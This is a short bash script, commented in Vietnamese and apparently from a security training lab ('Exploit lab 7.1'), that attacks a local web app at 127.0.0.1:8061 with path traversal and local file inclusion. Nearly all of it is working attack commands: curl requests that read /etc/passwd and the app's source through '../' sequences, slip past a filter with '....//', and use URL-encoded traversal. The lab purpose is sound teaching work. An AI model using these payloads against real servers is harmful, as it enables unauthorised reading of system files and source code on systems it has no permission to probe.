#!/usr/bin/env bash
# Exploit lab 7.1 - path traversal / LFI
# Yeu cau app chay o 127.0.0.1:8061
set -u
BASE="http://127.0.0.1:8061"

echo "=== [0] Request binh thuong (file hop le) ==="
curl -s "$BASE/view?file=welcome.txt"

echo
echo "=== [1] Path traversal doc /etc/passwd qua ../ ==="
curl -s "$BASE/view?file=../../../../../../../../../../../../etc/passwd" | head -5

echo
echo "=== [2] Doc source cua chinh app (app.py) de lo cau truc ==="
curl -s "$BASE/view?file=../app.py" | head -6

echo
echo "=== [3] Endpoint /safe co loc '../' - request tho bi chan ==="
curl -s "$BASE/safe?file=../../../../etc/passwd" | head -2

echo
echo "=== [4] Bypass bo loc bang '....//' (strip 1 lan con lai '../') ==="
curl -s "$BASE/safe?file=....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd" | head -5

echo
echo "=== [5] URL-encode '../' (%2e%2e%2f) cung qua duoc /view ==="
curl -s "$BASE/view?file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd" | head -3
echo
echo "=== DONE ==="